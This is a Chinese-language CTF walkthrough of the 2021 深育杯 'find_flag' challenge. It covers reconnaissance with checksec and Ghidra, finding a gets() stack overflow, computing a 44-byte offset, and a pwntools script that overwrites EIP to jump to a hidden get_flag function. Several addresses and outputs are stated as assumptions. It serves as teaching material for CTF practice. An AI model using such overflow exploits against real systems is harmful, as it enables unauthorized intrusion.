1. 题目背景与核心挑战解析
"find_flag"作为CTF竞赛中的经典题型,属于逆向工程与二进制分析的入门级挑战。这类题目通常要求参赛者通过分析给定的可执行文件或数据包,从中提取出隐藏的flag字符串。在2021年深育杯赛事中,这道题目的设计体现了几个典型特征:
- 文件类型:极可能是ELF格式的Linux可执行文件(基于"深育杯"历年题型)
- 保护机制:可能包含基础的NX/DEP保护,但不会设置复杂的ASLR或代码混淆
- 解题路径:静态分析结合动态调试是标准解法,可能需要简单的栈溢出利用
这类题目的设计初衷是考察选手对以下核心技能的掌握:
- 基础逆向工具的使用(Ghidra/IDA、GDB、strings等)
- 程序逻辑的静态分析能力
- 内存布局的基础认知
- 简单漏洞的识别与利用
2. 初步分析与工具准备
2.1 基础信息收集
拿到题目文件后的第一步永远是收集基础信息。建议按以下顺序操作:
file find_flag # 确认文件类型 checksec --file=find_flag # 检查安全机制 strings find_flag | less # 提取可见字符串假设输出显示这是一个32位ELF文件,开启了NX保护(栈不可执行),但没有canary和PIE保护。strings输出中可能包含部分提示性字符串,但真正的flag通常不会明文存储。
2.2 静态分析工具链配置
对于此类题目,推荐工具组合:
- 反汇编:Ghidra(免费)或IDA Pro(商业版更强大)
- 动态调试:GDB配合pwndbg插件
- 辅助工具:ROPgadget、one_gadget等
安装pwndbg调试环境:
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh3. 深入逆向分析过程
3.1 主函数逻辑解析
使用Ghidra加载文件后,定位到main函数。典型的CTF题目main函数结构往往包含:
void main(void) { char local_2c [32]; setvbuf(stdout,(char *)0x0,2,0); puts("Input your payload:"); gets(local_2c); return; }关键发现:
- 使用危险的gets()函数,存在明显的栈溢出漏洞
- 缓冲区大小32字节,无canary保护
- 没有直接出现flag相关操作,需要进一步分析
3.2 隐藏函数挖掘
在函数列表中查找非标准命名的函数,常见模式包括:
- 名称含"flag"、"win"、"secret"等关键词
- 未被直接调用的函数(需通过溢出跳转)
本例中假设发现名为get_flag的函数,其伪代码如下:
void get_flag(void) { system("cat flag.txt"); return; }这证实了需要通过栈溢出控制EIP跳转到该函数地址(假设为0x080491a2)。
4. 漏洞利用开发
4.1 偏移量计算
确定填充长度是栈溢出的关键步骤。通过GDB调试:
gdb ./find_flag cyclic 100 # 在gets处输入生成的pattern # 程序崩溃时查看EIP值 cyclic -l [崩溃时的EIP值]假设计算得到偏移量为44字节(32字节缓冲区+12字节填充)。
4.2 利用脚本编写
使用pwntools编写Python exploit:
from pwn import * context(arch='i386', os='linux') p = process('./find_flag') offset = 44 flag_addr = 0x080491a2 payload = b'A'*offset + p32(flag_addr) p.sendlineafter(b':', payload) p.interactive()5. 实战中的问题排查
5.1 常见失败场景
段错误(SEGV):通常说明跳转地址错误或偏移计算不准
- 解决方案:重新验证偏移量,检查函数地址
无输出:可能因为:
- 函数地址错误
- 栈对齐问题(x86架构通常不需要考虑)
- 缺少参数传递(本例不需要)
5.2 进阶技巧
当直接跳转不可行时,可以考虑:
- ROP链构造:使用ROPgadget工具寻找可用片段
ROPgadget --binary ./find_flag - 泄露libc地址:通过puts等函数泄露后再计算system地址
6. 防御机制与绕过思路
虽然本题较为简单,但了解防护机制对后续题目很重要:
NX保护:阻止直接执行栈上的shellcode
- 绕过方案:使用ROP或跳转到已有函数
ASLR:随机化内存布局
- 本题未开启,否则需要先泄露地址
Stack Canary:检测栈溢出
- 本题未设置,否则需要先泄露或绕过canary值
7. 自动化工具辅助
对于重复性工作,可以建立自动化分析脚本:
# 自动提取函数地址 from pwn import * e = ELF('./find_flag') print(f"get_flag @ {hex(e.symbols['get_flag'])}") # 自动生成payload offset = 44 payload = flat({ offset: e.symbols['get_flag'] })8. 扩展思考与训练建议
变异题目练习:
- 增加canary保护的情况
- 64位程序下的参数传递差异
- 需要构造完整ROP链的场景
学习资源推荐:
- 《漏洞利用开发实战》
- ROP Emporium在线挑战
- Pwnable.kr入门题
调试技巧提升:
- 掌握GDB的hook命令
- 学习使用gef增强调试能力
- 熟悉/proc/[pid]/maps的内存布局分析
在实际比赛中,这类基础题目通常需要在10-15分钟内完成。建议通过大量练习建立肌肉记忆,将标准流程内化为本能反应。对于新手而言,最重要的是培养规范的解题思维:信息收集→静态分析→动态验证→利用开发→结果验证的完整闭环。